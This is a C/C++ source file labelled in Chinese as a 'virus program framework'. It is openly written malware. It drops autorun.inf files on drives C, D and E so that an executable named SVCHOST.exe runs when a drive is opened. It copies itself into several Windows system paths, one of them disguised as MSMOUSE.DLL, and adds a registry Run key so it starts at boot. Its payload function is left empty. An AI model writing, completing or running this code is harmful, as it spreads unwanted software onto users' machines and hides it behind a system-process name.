/*

病毒程序框架

*/

#include <stdlib.h>

#include <stdio.h>

#include <iostream>

using namespace std;

#include <stdlib.h>

#include <string.h>

#define SVCHOST_NUM 6

int ComputerVirusCopy(const char *infile, const char *outfile){

FILE *input = NULL, *output = NULL;

char temp;

int toReturn = 1; //异常返回1 正常返回0

if(strcmp(infile, outfile) != 0 && ((input = fopen(infile, "rb")) != NULL) && ((output = fopen(outfile, "wb")) != NULL)){

while(!feof(input)){

fread(&temp, 1, 1, input);

fwrite(&temp, 1, 1, output);

}

toReturn = 0;

}

fclose(input);

fclose(output);

return toReturn;

}

int VirusHB(){

}

int main(){

const char *autoRun = {"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};

const char *files_autorun[10] = {"c:\\autorun.inf", "d:\\autorun.inf", "e:\\autorun.inf"};

const char *files_svchost[SVCHOST_NUM+1] = {"c:\\windows\\system\\MSMOUSE.DLL", "c:\\windows\\system\\SVCHOST.exe", "c:\\windows\\SVCHOST.exe", "c:\\SVCHOST.exe", "d:\\SVCHOST.exe", "e:\\SVCHOST.exe", "SVCHOST.exe"};

const char *regadd = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /t REG_SZ /d c:/windows/system/SVCHOST.exe";

FILE *input, *output;

for(int i = 0; i < 3; i++){

output = fopen(files_autorun[i], "w");

fprintf(output, "%s", autoRun);

fclose(output);

}

for(int i = 0; i <= SVCHOST_NUM; i++){

if((input = fopen(files_svchost[i], "rb")) != NULL){

fclose(input);

} else { //文件不存在

continue;

}

//将一处的文件拷贝到所有的应该存在的位置。

for(int k = 0; k <= SVCHOST_NUM; k++){

ComputerVirusCopy(files_svchost[i], files_svchost[k]);

//病毒具体处理代码

VirusHB();

}

i = SVCHOST_NUM + 1;

}

//自启动

system(regadd);

system("pause");

return EXIT_SUCCESS;

}